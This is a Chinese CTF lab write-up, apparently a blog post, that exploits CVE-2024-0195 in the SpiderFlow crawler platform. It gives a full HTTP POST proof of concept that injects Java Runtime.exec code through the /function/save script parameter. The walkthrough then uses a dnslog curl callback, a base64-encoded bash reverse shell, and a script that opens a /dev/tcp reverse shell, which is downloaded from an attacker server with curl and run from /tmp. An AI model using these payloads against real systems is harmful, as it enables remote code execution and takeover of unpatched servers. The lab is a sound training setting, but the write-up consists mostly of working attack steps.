春秋云镜CVE-2024-0195【记录】

漏洞描述

SpiderFlow爬虫平台项目中spider-flow-web\src\main\java\org\spiderflow\controller\FunctionController.java文件的FunctionService.saveFunction函数调用了saveFunction函数,该调用了自定义函数validScript,该函数中用户能够控制 functionNameparametersscript 中的内容,从而构造恶意输入来执行任意的 JavaScript 代码,从而导致代码注入,并允许远程发起攻击,可导致服务器失陷

POC

POST /function/save HTTP/1.1
Host: eci-2ze6dzdag3zeyw6svm2f.cloudeci1.ichunqiu.com:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 112


id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('此处执行命令')%3B%7B

漏洞位置 /function/save

提交参数时,script处可以插入恶意的代码达到命令执行

靶场解题

1.启动春秋云镜后,通过burp截取请求包。漏洞点截取,或者直接随便截取一个包,修改下target地址

将截取到的包发送到 repeater中
修改post中script传递的参数

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('此处执行命令')%3B%7B

我做靶场时遇到的问题

#先使用了  ping 命令使用dnslog测试,返回包中出现了报错,应该是不支持ping
#然后使用了curl 发现可以正常访问
exec('curl+kvoarh.dnslog.cn')

在这里卡了一小下,脑袋出问题了,想直接反弹shell ,发现没什么用

exec("bash -c {echo,6L+Z6YeM5LuA5LmI6YO95rKh5pyJ77yM5LuA5LmI6YO95rKh5pyJ}|{base64,-d}|{bash,-i}");

后面脑袋又灵光了

1.我们先自己通过云服务器构建一个1.sh 脚本文件

内容如下:
#!/bin/bash
bash -i >&/dev/tcp/ip/port 0>1&

2.然后通过python 启动一个http服务

python3 -m http.server port

3.burp发送包,下载我们远程服务器上的脚本 到/tmp目录下

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('curl -o /tmp/1.sh http://ip/port/脚本')%3B%7B

4.成功后,通过bash /tmp/脚本名称 运行脚本即可反弹shell  flag在根目录下

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('bash /tmp/1.sh')%3B%7B

题目解法很多,小白文章。

  • 10
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值